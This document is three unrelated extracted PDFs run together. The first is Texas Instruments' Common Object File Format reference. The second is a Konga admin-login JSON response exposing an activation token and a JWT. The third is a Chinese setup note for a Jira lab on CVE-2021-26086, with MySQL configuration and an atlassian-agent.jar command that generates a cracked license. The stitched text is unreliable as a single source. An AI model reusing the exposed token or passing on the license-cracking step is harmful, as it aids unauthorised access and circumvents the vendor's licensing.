Header Structure .................................................................. 4 3 Optional File Header Format ........................................................ 5 4 Section Header Structure............................................................. 5 5 Structuring Relocation Information............................................... 7 6 Symbol Table Structure and Content........................................... 11 SPRAAO8–April 2009 Common Object File Format 1 Submit Documentation Feedback 1 COFF File Structure Fileheader Optionalfileheader Section1header Section n header Section1 rawdata Section n rawdata Section1 relocationinformation Section n relocationinformation Symboltable Stringtable Sectionheaders Rawdata (executablecodeand initializeddata) Relocation information COFF File Structure www.ti.com The elements of a COFF object file describe the file's sections and symbolic debugging information. These elements include: • A file header • Optional header information • A table of section headers • Raw data for each initialized section • Relocation information for each initialized section • A symbol table • A string table The assembler and link step produce object files with the same COFF structure; however, a program that is linked for the final time does not usually contain relocation entries. Figure 1 illustrates the object file structure. Figure 1. COFF File Structure Figure 2 shows a typical example of a COFF object file that contains the three default sections, .text, .data, and .bss, and a named section (referred to as <named>). By default, the tools place sections into the object file in the following order: .text, .data, initialized named sections, .bss, and uninitialized named sections. Although uninitialized sections have section headers, notice that they have no raw data, relocation information, or line number entries. This is because the .bss and .usect directives simply reserve space for uninitialized data; uninitialized sections contain no actual code. Common Object File Format 2 SPRAAO8–April 2009 Submit Documentation Feedback Fileheader .text sectionheader .data sectionheader .bss sectionheader <named>section sectionheader .text rawdata .data rawdata <named>section rawdata .text relocationinformation .data relocationinformation <named>section relocationinformation Symboltable Stringtable Sectionheaders Rawdata Relocation information www.ti.com COFF File Structure Figure 2. Sample COFF Object File SPRAAO8–April 2009 Common Object File Format 3 Submit Documentation Feedback 2 File Header Structure File Header Structure www.ti.com The file header contains 22 bytes of information that describe the general format of an object file. Table 1 shows the structure of the COFF file header. Table 1. File Header Contents Byte Number Type Description 0-1 Unsigned short Version ID; indicates version of COFF file structure 2-3 Unsigned short Number of section headers 4-7 Integer Time and date stamp; indicates when the file was created 8-11 Integer File pointer; contains the symbol table's starting address 12-15 Integer Number of entries in the symbol table 16-17 Unsigned short Number of bytes in the optional header. This field is either 0 or 28; if it is 0, there is no optional file header. 18-19 Unsigned short Flags (see Table 2) 20-21 Unsigned short Target ID; magic number (see Table 3) indicates the file can be executed in a specific TI system Table 2 lists the flags that can appear in bytes 18 and 19 of the file header. Any number and combination of these flags can be set at the same time. Table 2. File Header Flags (Bytes 18 and 19) Mnemonic Flag Description F_RELFLG 0001h Relocation information was stripped from the file F_EXEC 0002h The file is relocatable (it contains no unresolved external references) F_LNNO(1) 0004h For TMS430 and TMS470 only: Line numbers were stripped from the file. For other targets: Reserved F_LSYMS 0008h Local symbols were stripped from the file F_LITTLE 0100h The target is a little-endian device F_BIG(1) 0200h For C6000, MSP430, and TMS470 only: The target is a big-endian device. For other targets: Reserved F_SYMMERGE(1) 1000h For C2800, MSP430, and TMS470: Duplicate symbols were removed. For C6000: Reserved (1) No mnemonic is defined when the flag value is reserved. Table 3 lists the magic number for each Texas Instruments device family. Table 3. Magic Number Magic Number Device Family 0097h TMS470 0098h TMS320C5400 0099h TMS320C6000 009Ch TMS320C5500 009Dh TMS320C2800 00A0h MSP430 00A1h TMS320C5500+ 4 Common Object File Format SPRAAO8–April 2009 Submit Documentation Feedback 3 Optional File Header Format 4 Section Header Structure www.ti.com Optional File Header Format The link step creates the optional file header and uses it to perform relocation at download time. Partially linked files do not contain optional file headers. Table 4 illustrates the optional file header format. Table 4. Optional File Header Contents Byte Number Type Description 0-1 Short Optional file header magic number (0108h) 2-3 Short Version stamp 4-7 Long(1) Size (in bytes) of executable code 8-11 Long(1) Size (in bytes) of initialized data 12-15 Long(1) Size (in bytes) of uninitialized data 16-19 Long(1) Entry point 20-23 Long(1) Beginning address of executable code 24-27 Long(1) Beginning address of initialized data (1) For C6000 the type is integer. COFF object files contain a table of section headers that define where each section begins in the object file. Each section has its own section header. Table 5 shows the structure of each section header. Table 5. Section Header Contents Byte Number Type Description 0-7 Character This field contains one of the following: 1) An 8-character section name padded with nulls. 2) A pointer into the string table if the symbol name is longer than eight characters. 8-11 Long(1) Section's physical address 12-15 Long(1) Section's virtual address 16-19 Long(1) Section size in bytes (C6000, C55x, TMS470 and TMS430) or words (C2800, C5400) 20-23 Long(1) File pointer to raw data 24-27 Long(1) File pointer to relocation entries 28-31 Long(1) Reserved 32-35 Unsigned long(2) Number of relocation entries 36-39 Unsigned long(2) For TMS470 and TMS430 only: Number of line number entries. For other devices: Reserved 40-43 Unsigned long(2) Flags (see Table 7) 44-45 Unsigned short Reserved 46-47 Unsigned short Memory page number (1) For C6000 the type is integer. (2) For C6000 the type is unsigned integer. For C5400 only, object files can be produced in either of two formats: COFF1 or COFF2. For all other device families all COFF object files are in the COFF2 format. The COFF1 and COFF2 file types contain different section header information. Table 6 shows the section header contents for COFF1 files. Table 5 shows the section header contents for COFF2 files. SPRAAO8–April 2009 Common Object File Format 5 Submit Documentation Feedback Section Header Structure www.ti.com Table 6. Section Header Contents for COFF1 Byte Number Type Description 0-7 Character An 8-character section name padded with nulls. 8-11 Long Section's physical address 12-15 Long Section's virtual address 16-19 Long Section size in words 20-23 Long File pointer to raw data 24-27 Long File pointer to relocation entries 28-31 Long Reserved 32-33 Unsigned short Number of relocation entries 34-35 Unsigned short Reserved 36-37 Unsigned short Flags (see Table 7) 38 Char Reserved 39 Char Memory page number Table 7 lists the flags that can appear in bytes 40 through 43 (36-37 for COFF1) of the section header. Table 7. Section Header Flags Mnemonic Flag Description (1) STYP_REG 00000000h Regular section (allocated, relocated, loaded) STYP_DSECT 00000001h Dummy section (relocated, not allocated, not loaded) STYP_NOLOAD 00000002h Noload section (allocated, relocated, not loaded) STYP_GROUP(2) 00000004h Grouped section (formed from several input sections). Other devices: Reserved STYP_PAD(2) 00000008h Padding section (loaded, not allocated, not relocated). Other devices: Reserved STYP_COPY 00000010h Copy section (relocated, loaded, but not allocated; relocation entries are processed normally) STYP_TEXT 00000020h Section contains executable code STYP_DATA 00000040h Section contains initialized data STYP_BSS 00000080h Section contains uninitialized data STYP_BLOCK(3) 00001000h Alignment used as a blocking factor. STYP_PASS(3) 00002000h Section should pass through unchanged. STYP_CLINK 00004000h Section requires conditional linking STYP_VECTOR(4) 00008000h Section contains vector table. STYP_PADDED(4) 00010000h section has been padded. (1) The term loaded means that the raw data for this section appears in the object file. Only allocated sections are written to target memory. (2) Applies to C2800, C5400, and C5500 only. (3) Reserved for C2800, C5400, and C5500. (4) Applies to C6000 only. The flags listed in Table 7 can be combined; for example, if the flag's word is set to 060h, both STYP_DATA and STYP_TEXT are set. Bits 8-11 of the section header flags are used for defining the alignment. The alignment is defined to be 2^(value of bits 8-11). For example if bits 8-11 are 0101b (decimal integer 5), then the alignment is 32 (2^5). For MSP430 and TMS470, alignment is indicated by the bits masked by 0xF00. Alignment is the value in the bits raised to a power equal to the bit value. Alignment is 2 raised to the same power. For example, if the value in these 4 bits is 2, the alignment is 2 raised to the power 2 (or 4). Figure 3 illustrates how the pointers in a section header point to the elements in an object file that are associated with the .text section. 6 Common Object File Format SPRAAO8–April 2009 Submit Documentation Feedback .text .text section header .text Rawdata .text Relocationinformation 0−7 8−11 12−15 16−19 20−23 24−27 28−31 32−33 34−35 36−37 38 39 5 Structuring Relocation Information www.ti.com Structuring Relocation Information Figure 3. Section Header Pointers for the .text Section As Figure 2 shows, uninitialized sections (created with the .bss and .usect directives) vary from this format. Although uninitialized sections have section headers, they have no raw data or relocation information; or, for MSP430 and TMS470, line number information. They occupy no actual space in the object file. Therefore, the number of relocation entries, the number of line number entries, and the file pointers are 0 for an uninitialized section. The header of an uninitialized section simply tells the link step how much space for variables it should reserve in the memory map. A COFF object file has one relocation entry for each relocatable reference. The assembler automatically generates relocation entries. The link step reads the relocation entries as it reads each input section and performs relocation. The relocation entries determine how references within each input section are treated. For C2800, C6000, MSP430, and TMS470, COFF file relocation information entries use the 10-byte format shown in Table 8. Table 8. Relocation Entry Contents, 10-Byte Format Byte Number Type Description 0-3 Long Virtual address of the reference 4-5 Short Symbol table index (0-65 535) 6-7 Unsigned short Reserved 8-9 Unsigned short Relocation type (see Table 11) SPRAAO8–April 2009 Common Object File Format 7 Submit Documentation Feedback Structuring Relocation Information www.ti.com For C5400 and C5500, COFF file relocation information entries use the 12-byte format shown in Table 8. Table 9. Relocation Entry Contents, 12-Byte Format Byte Number Type Description 0-3 Long Virtual address of the reference 4-7 Unsigned long Symbol table index (0-65 535) 8-9 Unsigned short For COFF1 files for C5400 only: Reserved For COFF2 files: Additional byte used for extended address calculations 10-11 Unsigned short Relocation type (see Table 11) The virtual address is the symbol's address in the current section before relocation; it specifies where a relocation must occur. (This is the address of the field in the object code that must be patched.) Following is an example of C6000 code that generates a relocation entry: 2 .global X 3 00000000 !00000012 b X In this example, the virtual address of the relocatable field is 0001. The symbol table index is the index of the referenced symbol. In the preceding example, this field contains the index of X in the symbol table. The amount of the relocation is the difference between the symbol's current address in the section and its assembly-time address. The relocatable field must be relocated by the same amount as the referenced symbol. In the example, X has a value of 0 before relocation. Suppose X is relocated to address 2000h. This is the relocation amount (2000h - 0 = 2000h), so the relocation field at address 1 is patched by adding 2000h to it. You can determine a symbol's relocated address if you know which section it is defined in. For example, if X is defined in .data and .data is relocated by 2000h, X is relocated by 2000h. If the symbol table index in a relocation entry is -1 (0FFFFh), this is called an internal relocation. In this case, the relocation amount is simply the amount by which the current section is being relocated. The relocation type specifies the size of the field to be patched and describes how the patched value is calculated. The type field depends on the addressing mode that was used to generate the relocatable reference. In the preceding example for C6000, the actual address of the referenced symbol X is placed in an 8-bit field in the object code. This is an 8-bit address, so the relocation type is R_RELBYTE. The following tables list the relocation types by device family. Table 10. Generic Relocation Types (Bytes 8 and 9) Mnemonic Flag Relocation Type RE_ADD 4000h Addition (+) RE_SUB 4001h Subtraction (-) RE_NEG 4002h Negate (-) RE_MPY 4003h Multiplication (*) RE_DIV 4004h Division (/) RE_MOD 4005h Modulus (%) RE_SR 4006h Logical shift right (unsigned >>) RE_ASR 4007h Arithmetic shift right (signed >>) RE_SL 4008h Shift left (<<) RE_AND 4009h And (&) RE_OR 400Ah Or (|) RE_XOR 400Bh Exclusive Or (^) RE_NOTB 400Ch Not (~) RE_ULDFLD 400Dh Unsigned relocation field load RE_SLDFLD 400Eh Signed relocation field load 8 Common Object File Format SPRAAO8–April 2009 Submit Documentation Feedback www.ti.com Structuring Relocation Information Table 10. Generic Relocation Types (Bytes 8 and 9) (continued) Mnemonic Flag Relocation Type RE_USTFLD 400Fh Unsigned relocation field store RE_SSTFLD 4010h Signed relocation field store RE_PUSH 4011h Push symbol on the stack RE_PUSHSK 4012h Push signed constant on the stack RE_PUSHUK 4013h Push unsigned constant on the stack RE_PUSHPC 4014h Push current section PC on the stack RE_DUP 4015h Duplicate top-of-stack and push a copy RE_XSTFLD 4016h Relocation field store, signedness is irrelevant RE_PUSHSV C011h Push symbol: SEGVALUE flag is set Table 11. C6000 Relocation Types (Bytes 8 and 9) Mnemonic Flag Relocation Type R_ABS 0000h No relocation R_RELBYTE 000Fh 8-bit direct reference to symbol's address R_RELWORD 0010h 16-bit direct reference to symbol's address R_RELLONG 0011h 32-bit direct reference to symbol's address R_C60BASE 0050h Data page pointer-based offset R_C60DIR15 0051h Load or store long displacement R_C60PCR21 0052h 21-bit packet, PC relative R_C60PCR10 0053h 10-bit Packet PC Relative (BDEC, BPOS) R_C60LO16 0054h MVK instruction low half register R_C60HI16 0055h MVKH or MVKLH high half register R_C60SECT 0056h Section-based offset R_C60S16 0057h Signed 16-bit offset for MVK R_C60PCR7 0070h 7-bit Packet PC Relative (ADDKPC) R_C60PCR12 0071h 12-bit Packet PC Relative (BNOP) Table 12. C2800 Relocation Types (Bytes 8 and 9) Mnemonic Flag Relocation Type R_ABS 0000h No relocation R_RELBYTE 000Fh 8-bit direct reference to symbol's address R_RELWORD 0010h 16-bit direct reference to symbol's address R_RELLONG 0011h 32-bit direct reference to symbol's address R_PARTLS7 0028h 7-bit offset of a 22-bit address R_PARTLS6 005Dh 6-bit offset of a 22-bit address R_PARTMID10 005Eh Middle 10 bits of a 22-bit address R_REL22 005Fh 22-bit direct reference to a symbol's address R_PARTMS6 0060h Upper 6 bits of an 22-bit address R_PARTS16 0061h Upper 16 bits of an 22-bit address R_C28PCR16 0062h PC relative 16-bit address R_C28PCR8 0063h PC relative 8-bit address R_C28PTR 0064h 22-bit pointer R_C28HI16 0065h High 16 bits of address data R_C28LOPTR 0066h Pointer to low 64K R_C28NWORD 0067h 16-bit negated relocation R_C28NBYTE 0068h 8-bit negated relocation SPRAAO8–April 2009 Common Object File Format 9 Submit Documentation Feedback Structuring Relocation Information www.ti.com Table 12. C2800 Relocation Types (Bytes 8 and 9) (continued) Mnemonic Flag Relocation Type R_C28HIBYTE 0069h High 8 bits of a 16-bit data R_C28RELS13 006Ah Signed 13-bit value relocated as a 16-bit value Table 13. C5400 Relocation Types (Bytes 10 and 11) Mnemonic Flag Relocation Type R_ABS 0000h No relocation R_REL24 0005h 24-bit reference to symbol's address R_RELBYTE 0017h 8-bit direct reference to symbol's address R_RELWORD 0020h 16-bit direct reference to symbol's address R_RELLONG 0021h 32-bit direct reference to symbol's address R_PARTLS7 0028h 7 LSBs of an address R_PARTMS9 0029h 9 MSBs of an address R_REL13 002Ah 13-bit direct reference to symbol's address Table 14. C5500 Relocation Types (Bytes 10 and 11) Mnemonic Flag Relocation Type R_ABS 0000h No relocation R_REL24 0005h 24-bit direct reference to symbol's address R_RELBYTE 0017h 8-bit direct reference to symbol's address R_RELWORD 0020h 16-bit direct reference to symbol's address R_RELLONG 0021h 32-bit direct reference to symbol's address R_LD3_DMA 0170h 7 MSBs of a byte, unsigned; used in DMA address R_LD3_MDP 0172h 7 bits spanning 2 bytes, unsigned; used as MDP register value R_LD3_PDP 0173h 9 bits spanning 2 bytes, unsigned; used as PDP register value R_LD3_REL23 0174h 23-bit unsigned value in 24-bit field R_LD3_k8 0210h 8-bit unsigned direct reference R_LD3_k16 0211h 16-bit unsigned direct reference R_LD3_K8 0212h 8-bit signed direct reference R_LD3_K16 0213h 16-bit signed direct reference R_LD3_I8 0214h 8-bit unsigned PC-relative reference R_LD3_I16 0215h 16-bit unsigned PC-relative reference R_LD3_L8 0216h 8-bit signed PC-relative reference R_LD3_L16 0217h 16-bit signed PC-relative reference R_LD3_k4 0220h Unsigned 4-bit shift immediate R_LD3_k5 0221h Unsigned 5-bit shift immediate R_LD3_K5 0222h Signed 5-bit shift immediate R_LD3_k6 0223h Unsigned 6-bit shift immediate R_LD3_k12 0224h Unigned 12-bit shift immediate Table 15. MSP430 and TMS470 Relocation Types (Bytes 8 and 9) Mnemonic Flag Relocation Type R_RELLONG 0011h 32-bit direct reference to symbol's address R_PCR23H 0016h 23-bit PC-relative reference to a symbol's address, in halfwords (divided by 2) R_PCR24W 0017h 24-bit PC-relative reference to a symbol's address, in words (divided by 4) Common Object File Format 10 SPRAAO8–April 2009 Submit Documentation Feedback 6 Symbol Table Structure and Content Definedglobalsymbols Undefinedglobalsymbols Staticvariables ... www.ti.com Symbol Table Structure and Content The order of symbols in the symbol table is very important; they appear in the sequence shown in Figure 4. Figure 4. Symbol Table Contents Static variables refer to symbols defined in C/C++ that have storage class static outside any function. If you have several modules that use symbols with the same name, making them static confines the scope of each symbol to the module that defines it (this eliminates multiple-definition conflicts). The entry for each symbol in the symbol table contains the symbol's: • Name (or an offset into the string table) • Type • Value • Section it was defined in • Storage class For MSP430 and TMS470, the entry for each symbol in the symbol table also contains the symbol's: • Basic type (integer, character, etc.) • Derived type (array, structure, etc.) • Dimensions • Line number of the source code that defined the symbol Section names are also defined in the symbol table. All symbol entries, regardless of class and type, have the same format in the symbol table. Each symbol table entry contains the 18 bytes of information listed in Table 16. Each symbol may also have an 18-byte auxiliary entry; the special symbols listed in Table 17 always have an auxiliary entry. Some symbols may not have all the characteristics listed above; if a particular field is not set, it is set to null. Table 16. Symbol Table Entry Contents Byte Number Type Description 0-7 Char This field contains one of the following: 1) An 8-character symbol name, padded with nulls. 2) A pointer into the string table if the symbol name is longer than eight characters. 8-11 Long(1) Symbol value; storage class dependent 12-13 Short Section number of the symbol 14-15 Unsigned short Reserved 16 Char Storage class of the symbol 17 Char Number of auxiliary entries (always 0 or 1) (1) For C6000 the type is integer. SPRAAO8–April 2009 Common Object File Format 11 Submit Documentation Feedback 6.1 Special Symbols 6.2 Symbol Name Format 6.3 String Table Structure ’A’ ’d’ ’a’ ’p’ ’t’ ’i’ ’e’ ’v’ ’t’ ’e’ ’−’ ’F’ ’\0’ ’r’ ’l’ ’i’ ’f’ ’s’ ’T’ ’i’ ’r’ ’e’ ’F’ ’o’ ’o’ ’r’ ’n’ ’−’ ’a’ ’r’ ’r’ ’u’ ’m’ ’\0’ 38bytes 4bytes Symbol Table Structure and Content www.ti.com The symbol table contains some special symbols that are generated by the compiler, assembler, and link step. Each special symbol contains ordinary symbol table information as well as an auxiliary entry. Table 17 lists these symbols. Table 17. Special Symbols in the Symbol Table Symbol Description .text Address of the .text section .data Address of the .data section .bss Address of the .bss section etext Next available address after the end of the .text output section edata Next available address after the end of the .data output section end Next available address after the end of the .bss output section The first eight bytes of a symbol table entry (bytes 0-7) indicate a symbol's name: • If the symbol name is eight characters or less, this field has type character. The name is padded with nulls (if necessary) and stored in bytes 0-7. • If the symbol name is greater than eight characters, this field is treated as two integers. The entire symbol name is stored in the string table. Bytes 0-3 contain 0, and bytes 4-7 are an offset into the string table. The string table stores symbols with names longer than eight characters. The field in the symbol table entry that would normally contain the symbol's name actually points to the symbol's name in the string table. The string table contiguously stores names, delimited by a null byte. The first four bytes of the table contain the table size in bytes; thus, offsets into the string table are greater than or equal to 4. Figure 5 is a string table that contains two symbol names, Adaptive-Filter and Fourier-Transform. The index in the string table is 4 for Adaptive-Filter and 20 for Fourier-Transform. Figure 5. String Table Entries for Sample Symbol Names Common Object File Format 12 SPRAAO8–April 2009 Submit Documentation Feedback 6.4 Storage Classes 6.5 Symbol Values 6.6 Section Number www.ti.com Symbol Table Structure and Content Byte 16 of the symbol table entry indicates the storage class of the symbol. Storage classes refer to the method in which the C/C++ compiler accesses a symbol. Table 18 lists valid storage classes. Table 18. Symbol Storage Classes Mnemonic Value Storage Class Mnemonic Value Storage Class C_NULL 0 No storage class C_USTATIC 14 Undefined static C_AUTO 1 Reserved C_ENTAG 15 Reserved C_EXT 2 External definition C_MOE 16 Reserved C_STAT 3 Static C_REGPARM 17 Reserved C_REG 4 Reserved C_FIELD 18 Reserved C_EXTREF 5 External reference C_UEXT(1) 19 Tentative external definition C_LABEL 6 Label C_STATLAB(1) 20 Static load time label C_ULABEL 7 Undefined label C_EXTLAB(1) 21 External load time label C_MOS 8 Reserved C_VARARG(1)(2) 27 Last declared parameter of a function with a variable number of arguments C_ARG 9 Reserved C_BLOCK 100 Reserved C_STRTAG 10 Reserved C_FCN 101 Reserved C_MOU 11 Reserved C_EOS 102 Reserved C_UNTAG 12 Reserved C_FILE 103 Reserved C_TPDEF 13 Reserved C_LINE 104 Used only by utility programs (1) Not applicable to C5400 or C5500 (2) Not applicable to C2800 The .text, .data, and .bss symbols are restricted to the C_STAT storage class. Bytes 8-11 of a symbol table entry indicate a symbol's value. The C_EXT, C_STAT, and C_LABEL storage classes hold relocatable addresses. The value of a relocatable symbol is its virtual address. When the link step relocates a section, the value of a relocatable symbol changes accordingly. Bytes 12-13 of a symbol table entry contain a number that indicates in which section the symbol was defined. Table 19 lists these numbers and the indicated sections. Table 19. Section Numbers Mnemonic Section Number Description None -2 Reserved N_ABS -1 Absolute symbol N_UNDEF 0 Undefined external symbol None(1) 1 .text section (typical) None(1) 2 .data section (typical) None(1) 3 .bss section (typical) None(1) 4-32 767 Section number of a named section, in the order in which the named sections are encountered (1) For C5500 and C2800, the mnemonic is N_SCNUM SPRAAO8–April 2009 Common Object File Format 13 Submit Documentation Feedback 6.7 Auxiliary Entries Symbol Table Structure and Content www.ti.com If there were no .text, .data, or .bss sections, the numbering of named sections would begin with 1. If a symbol has a section number of 0, -1, or -2, it is not defined in a section. A section number of -1 indicates that the symbol has a value but is not relocatable. A section number of 0 indicates a relocatable external symbol that is not defined in the current file. Each symbol table entry can have one or noauxiliary entry. An auxiliary symbol table entry contains the same number of bytes as a symbol table entry (18). Table 20 illustrates the format of auxiliary table entries. Table 20. Section Format for Auxiliary Table Entries Byte Number Type Description 0-3 Long(1) Section length 4-5 Unsigned short Number of relocation entries 6-7 Unsigned short Number of line number entries 8-17 Not used (zero filled) (1) For C6000 the type is integer. Common Object File Format 14 SPRAAO8–April 2009 Submit Documentation Feedback IMPORTANT NOTICE Texas Instruments Incorporated and its subsidiaries (TI) reserve the right to make corrections, modifications, enhancements, improvements, and other changes to its products and services at any time and to discontinue any product or service without notice. Customers should obtain the latest relevant information before placing orders and should verify that such information is current and complete. All products are sold subject to TI’s terms and conditions of sale supplied at the time of order acknowledgment. TI warrants performance of its hardware products to the specifications applicable at the time of sale in accordance with TI’s standard warranty. Testing and other quality control techniques are used to the extent TI deems necessary to support this warranty. Except where mandated by government requirements, testing of all parameters of each product is not necessarily performed. TI assumes no liability for applications assistance or customer product design. Customers are responsible for their products and applications using TI components. To minimize the risks associated with customer products and applications, customers should provide adequate design and operating safeguards. TI does not warrant or represent that any license, either express or implied, is granted under any TI patent right, copyright, mask work right, or other TI intellectual property right relating to any combination, machine, or process in which TI products or services are used. Information published by TI regarding third-party products or services does not constitute a license from TI to use such products or services or a warranty or endorsement thereof. Use of such information may require a license from a third party under the patents or other intellectual property of the third party, or a license from TI under the patents or other intellectual property of TI. Reproduction of TI information in TI data books or data sheets is permissible only if reproduction is without alteration and is accompanied by all associated warranties, conditions, limitations, and notices. Reproduction of this information with alteration is an unfair and deceptive business practice. TI is not responsible or liable for such altered documentation. Information of third parties may be subject to additional restrictions. Resale of TI products or services with statements different from or beyond the parameters stated by TI for that product or service voids all express and any implied warranties for the associated TI product or service and is an unfair and deceptive business practice. TI is not responsible or liable for any such statements. TI products are not authorized for use in safety-critical applications (such as life support) where a failure of the TI product would reasonably be expected to cause severe personal injury or death, unless officers of the parties have executed an agreement specifically governing such use. Buyers represent that they have all necessary expertise in the safety and regulatory ramifications of their applications, and acknowledge and agree that they are solely responsible for all legal, regulatory and safety-related requirements concerning their products and any use of TI products in such safety-critical applications, notwithstanding any applications-related information or support that may be provided by TI. Further, Buyers must fully indemnify TI and its representatives against any damages arising out of the use of TI products in such safety-critical applications. TI products are neither designed nor intended for use in military/aerospace applications or environments unless the TI products are specifically designated by TI as military-grade or "enhanced plastic." Only products designated by TI as military-grade meet military specifications. Buyers acknowledge and agree that any such use of TI products which TI has not designated as military-grade is solely at the Buyer's risk, and that they are solely responsible for compliance with all legal and regulatory requirements in connection with such use. TI products are neither designed nor intended for use in automotive applications or environments unless the specific TI products are designated by TI as compliant with ISO/TS 16949 requirements. Buyers acknowledge and agree that, if they use any non-designated products in automotive applications, TI will not be responsible for any failure to meet such requirements. Following are URLs where you can obtain information on other Texas Instruments products and application solutions: Products Applications Amplifiers amplifier.ti.com Audio www.ti.com/audio Data Converters dataconverter.ti.com Automotive www.ti.com/automotive DLP® Products www.dlp.com Broadband www.ti.com/broadband DSP dsp.ti.com Digital Control www.ti.com/digitalcontrol Clocks and Timers www.ti.com/clocks Medical www.ti.com/medical Interface interface.ti.com Military www.ti.com/military Logic logic.ti.com Optical Networking www.ti.com/opticalnetwork Power Mgmt power.ti.com Security www.ti.com/security Microcontrollers microcontroller.ti.com Telephony www.ti.com/telephony RFID www.ti-rfid.com Video & Imaging www.ti.com/video RF/IF and ZigBee® Solutions www.ti.com/lprf Wireless www.ti.com/wireless Mailing Address: Texas Instruments, Post Office Box 655303, Dallas, Texas 75265 Copyright © 2009, Texas Instruments Incorporated
pdf
konga {"user":{"createdUser":null,"updatedUser":1,"node":{"id":6,"name":"kong","type":"default","kong_admin_url":"http://172.30.0.3:800 1","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kon g_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"2021-07-16T03:26:11.000Z","updat edAt":"2021-07-16T03:26:11.000Z","createdUser":1,"updatedUser":1},"id":1,"username":"admin","email":"[email protected]","firstN ame":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"7c15366f-2f45-4d2d-93ed-ad57b03e09ba","creat edAt":"2021-07-16T03:21:14.000Z","updatedAt":"2021-07-16T03:26:11.000Z"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3 s4VaopLDCcf4nZvH6DQo"} eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo {"user":{"createdUser":null,"updatedUser":1,"node":{"id":1,"name":"1","type":"default","kong_admin_url":"1","netdata_url":null,"k ong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","heal th_checks":false,"health_check_details":null,"active":false,"createdAt":"1","updatedAt":"1","createdUser":1,"updatedUser":1},"id" :1,"username":"1","email":"[email protected]","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken": "1","createdAt":"1","updatedAt":"1"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"}
pdf
2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 1/18 jira环境搭建及受限⽂件读取原理和深思CVE- 2021-26086 ⼀、踩坑 坑太多了 装了差不多七⼋个⼩时才装好 也是给⾃⼰找⼀些经验。不过不得不说在装软件的同时 也学到了⾮常多的东⻄,实战的项⽬感觉就是会有不⼀样的感觉。多动⼿总是会有好处的。 我先发⼏个步骤 然后罗列⼀下我猜到的⼀些坑的点,算是把这个环境给装好了。因为我是mac系 统,参照着⼀个步骤来的,但是中间夹在的另外的,因为不是通⽤的破解插件,怕踩坑了。 ⼀、安装步骤 https://blog.csdn.net/pang787559613/article/details/101269073 https://www.jianshu.com/p/da0ddd124be8 前半部分基本按照第⼀个链接,后半部分按照第⼆个链接进⾏配置: ⼆、坑点 其实为了兼容后⾯的软件 mysql5.7的安装是⽐较好的,既可以兼容前⾯⽼版本的软件,后⾯的新 版也会兼容这个。感觉相当于java8⼀样地位的存在。在这⾥我选取的是5.7.31 并且不是⽤ homebrew安装的(感觉坑还挺多的) ⼀、mysql我在安装的过程中其实会遇到经典问题,就是第⼀次登录会拒绝登录,所以⼀般先安 全模式启动,然后修改密码并 flush privilege 就可以了。 ⼆、mac上⾯mysql的安装默认不会⽣成 /etc/my.cnf 的配置⽂件,需要⾃⼰touch⼀个并⾃⼰写 ⼀个默认的配置。 配置上⾯jira默认需要的字符集和ssl的问题。 因为emoji等表情符号的出现,更⼴泛的编码集需要拥抱时代的变化,所以我们尽可能的再去抛弃 utf8转向utf8mb4,就像jira那样(utf8mb4是utf8的超集,理论上由utf8升级到utf8mb4字符编码 没有任何兼容问题) https://confluence.atlassian.com/adminjiraserver/connecting-jira-applications-to-m 这是字符集的解决办法 注意mysqld和client下⾯对应的配置别写反了。 [client] #jira config default-character-set = utf8mb4 default-character-set=utf8mb4 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 2/18 三、之前⼀直按照前⾯的步骤使⽤试⽤版的密钥,后来我去官⽹上⾯查看,使⽤密钥是不需要联 ⽹的,所以不是⽹址被ban的问题(况且我还挂了全局代理)。之后我将问题翻译为英⽂,去jira 的社区看看: #password = your_password port = 3306 socket = /tmp/mysql.sock # Here follows entries for some specific programs # The MySQL server [mysqld] character-set-client-handshake = FALSE character-set-server = utf8mb4 collation-server = utf8mb4_unicode_ci default-storage-engine=INNODB character_set_server=utf8mb4 innodb_default_row_format=DYNAMIC innodb_large_prefix=ON innodb_file_format=Barracuda innodb_log_file_size=2G skip_ssl #这⾥是忽略ssl安全连接的问题 这是创建jira对应数据库时 添加所需要的数据集 CREATE DATABASE Jira CHARACTER SET utf8mb4 COLLATE utf8mb4_bin; ALTER DATABASE Jira DEFAULT CHARACTER SET = utf8mb4 DEFAULT COLLATE = utf8mb4_bin 检查修改 mysql> SHOW VARIABLES WHERE Variable_name LIKE 'character\_set\_%' OR Variable_nam 修复&优化所有数据表 > mysqlcheck -u root -p --auto-repair --optimize --all-databases mac上⾯mysql的重启命令 > sudo /usr/local/mysql/support-files/mysql.server restart We're unable to confirm that Jira license https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi 得到的答案就是 应该不太存在这种情况,建议看看⽇志 You can find these in $JIRAHOME/log/atlassian-jira.log $JIRAINSTALL/logs/catalina.out file. 然后我就去翻看了这两个⽇志,发现没有激活相关的错误,但是我看到了其他的错误,我之前设置了mysql不需 <url>jdbc:mysql://address=(protocol=tcp)(host=localhost)(port=3306)/jira?useUnic 2022/2/22 17:19 1.md file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md 3/18 然后去找了⼀下插件的gitee,发现这个插件⾃带了kengen的功能,这个是插件⾥⾯的破解步 骤: https://www.cnblogs.com/sanduzxcvbnm/p/13809276.html 我输⼊的: 综上,⼀些jira社区帮助我解决问题的url Atlassian家族插件 java -jar atlassian-agent.jar -d -m [email protected] -n s3gundo -p jira -o http:// 之后会得到 https://community.atlassian.com/t5/Jira-Software-questions/The-database-setup-is- https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm https://community.atlassian.com/t5/Jira-Software-questions/WARN-Establishing-SSL- 